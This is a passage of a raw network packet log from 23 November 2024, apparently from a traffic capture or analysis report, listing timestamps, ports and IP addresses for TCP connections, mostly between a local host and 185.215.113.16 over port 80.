Nov 23, 2024 21:15:40.111037970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.111076117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.111205101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.112122059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.112195969 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.112224102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.112312078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.113300085 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.113358974 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.113455057 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.113497972 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.114504099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.114567041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.114610910 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.114768028 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.115617990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.115691900 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.115727901 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.115875959 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.116847992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.116899014 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.116976023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.117243052 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.117980003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.118035078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.118088007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.118202925 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.119163990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.119214058 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.119244099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.119560957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.120296955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.120347023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.120373964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.120461941 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.121480942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.121578932 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.121630907 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.122644901 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.122751951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.122803926 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.123826027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.123876095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.123900890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.124054909 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.124983072 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.125052929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.125130892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.125767946 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.126157045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.126208067 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.126684904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.126735926 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.127329111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.127386093 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.127413988 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.127578974 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.128477097 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.128529072 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.128582954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.128793001 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.129661083 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.129717112 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.129743099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.129887104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.130820036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.130872965 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.130934000 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.131212950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.131983042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.132056952 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.132085085 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.132306099 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.133164883 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.133230925 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.133265018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.133415937 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.134373903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.134392023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.134434938 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.134474039 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.135474920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.135528088 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.135617018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.135658979 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.136658907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.136710882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.136740923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.136779070 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.137808084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.137860060 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.137918949 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.137964964 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.138992071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.139074087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.139127016 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.140161991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.140211105 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.140294075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.140381098 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.141355038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.141422987 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.141479015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.142484903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.142596960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.142877102 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.143662930 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.143748045 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.143754959 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.143843889 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.144907951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.144925117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.144982100 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.146001101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.146099091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.146883011 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.147157907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.147206068 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.147275925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.147398949 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.148509026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.148612022 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.148669004 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.149621964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.149722099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.150687933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.150798082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.151851892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.152014971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.152172089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.153093100 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.153156042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.154192924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.154237986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.155352116 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.155457020 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.156500101 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.156610012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.157742977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.157825947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.158848047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.158978939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.160017967 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.160120010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.161194086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.161243916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.162444115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.162506104 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.162558079 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.163670063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.163778067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.164704084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.164834023 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.167371988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.167371988 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.275264025 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.275336981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.275825977 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.275914907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.276990891 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.277100086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.278187037 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.281944990 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.309222937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.309355974 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.309873104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.310089111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.310190916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.311254978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.311290979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.312380075 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.312484980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.313574076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.313678980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.314722061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.314830065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.315900087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.315928936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.316108942 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.316175938 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.317070007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.317111969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.318331957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.318387985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.319458961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.319551945 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.320571899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.320683002 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.321748972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.321861982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.322904110 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.322921991 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.322989941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.323503971 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.323580027 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.324080944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.324181080 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.325246096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.325372934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.326440096 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.326520920 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.327331066 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.327617884 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.327682972 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.328716993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.328819036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.329997063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.330204010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.331298113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.331378937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.332243919 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.332408905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.333442926 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.333489895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.334568024 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.334683895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.335334063 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.335737944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.335892916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.336035967 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.336035967 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.336082935 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.336215973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.336215973 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.336240053 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.336240053 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.336256981 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.336569071 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.336947918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.337011099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.338074923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.338221073 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.339229107 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.339358091 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.340400934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.340586901 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.341567993 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.341651917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.342505932 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.342741013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.342930079 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.343913078 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.344017029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.345103025 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.345172882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.346242905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.346317053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.347431898 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.347552061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.348628998 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.348762989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.349761963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.349805117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.350927114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.351047039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.352091074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.352183104 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.353240013 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.353327036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.354506969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.354621887 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.355637074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.355748892 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.356816053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.356890917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.357933044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.358035088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.359097004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.359200954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.360266924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.360316038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.361438036 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.361565113 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.362572908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.362701893 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.362713099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.363755941 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.363868952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.365104914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.365237951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.366118908 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.366174936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.379373074 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.379401922 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.379472017 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.379607916 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.422374964 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.422375917 CET	49760	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:40.422410965 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.422422886 CET	443	49760	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:40.429577112 CET	49761	443	192.168.2.8	172.67.162.84
Nov 23, 2024 21:15:40.429600000 CET	443	49761	172.67.162.84	192.168.2.8
Nov 23, 2024 21:15:40.438199997 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:40.438244104 CET	443	49765	35.190.72.216	192.168.2.8
Nov 23, 2024 21:15:40.438749075 CET	49765	443	192.168.2.8	35.190.72.216
Nov 23, 2024 21:15:40.476803064 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.476866007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.477399111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.477524996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.478559971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.478602886 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.479749918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.484076977 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.510965109 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.511173964 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.511396885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.511524916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.512350082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.512459040 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.513366938 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.513422966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.514266014 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.514375925 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.515305996 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.515410900 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.516184092 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.516398907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.517158985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.517190933 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.518127918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.518204927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.519131899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.519248962 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.520037889 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.520138979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.520957947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.521166086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.521915913 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.521974087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.522892952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.523005009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.523876905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.523942947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.524380922 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:40.524770021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.524888992 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.525742054 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.525914907 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.526720047 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:40.526829004 CET	80	49750	185.215.113.16	192.168.2.8
